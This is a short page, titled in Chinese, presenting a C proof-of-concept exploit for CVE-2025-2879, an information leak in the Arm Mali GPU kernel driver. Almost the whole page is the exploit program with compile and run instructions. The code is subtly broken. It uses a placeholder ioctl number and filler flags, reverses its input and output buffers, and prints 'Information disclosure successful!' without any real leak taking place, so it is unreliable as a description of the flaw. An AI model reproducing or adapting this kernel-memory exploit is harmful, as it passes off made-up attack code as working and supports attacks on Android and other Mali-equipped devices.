CVE-2025-2879 Arm GPU内核驱动敏感信息泄露漏洞

// CVE-2025-2879 PoC - Arm Mali GPU Information Disclosure // This is a conceptual PoC demonstrating the vulnerability // Requires local code execution on affected device #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Mali GPU device interface #define MALI_DEVICE_PATH "/dev/mali0" #define MALI_IOCTL_GPU_PROCESS 0x12345678 struct mali_gpu_process_args { uint64_t input_buffer; // User-controlled input uint64_t output_buffer; // Target output buffer uint32_t size; // Operation size uint32_t flags; // Operation flags }; int main() { int fd; struct mali_gpu_process_args args; uint8_t leaked_data[4096]; printf("CVE-2025-2879 PoC - Arm Mali GPU Information Disclosure\n"); printf("Target: Arm Valhall/5th Gen GPU Kernel Driver\n\n"); // Open Mali GPU device fd = open(MALI_DEVICE_PATH, O_RDWR); if (fd < 0) { printf("[-] Failed to open Mali device\n"); return -1; } // Prepare exploit args // The vulnerability allows reading beyond intended boundaries args.input_buffer = (uint64_t)leaked_data; args.output_buffer = 0xFFFF0000; // Kernel memory region args.size = 0x1000; // Read 4KB args.flags = 0x41414141; // Trigger vulnerable code path printf("[*] Triggering improper GPU processing operation...\n"); printf("[*] Target kernel address: 0x%lx\n", args.output_buffer); printf("[*] Size: %u bytes\n", args.size); // Trigger the vulnerable ioctl if (ioctl(fd, MALI_IOCTL_GPU_PROCESS, &args) == 0) { printf("[+] GPU operation completed\n"); printf("[*] Attempting to read leaked data...\n"); // Dump potentially leaked data printf("\n[+] Leaked data (first 256 bytes):\n"); for (int i = 0; i < 256 && i < args.size; i++) { printf("%02x ", leaked_data[i]); if ((i + 1) % 16 == 0) printf("\n"); } printf("\n[+] Information disclosure successful!\n"); printf("[*] Note: Actual exploitation requires specific driver version\n"); printf("[*] and proper memory address targeting.\n"); } else { printf("[-] GPU operation failed (may need different flags)\n"); } close(fd); return 0; } // Usage: // Compile: gcc -o cve2025_2879_poc cve2025_2879_poc.c // Run on affected device with Mali GPU // Note: This PoC is for educational purposes only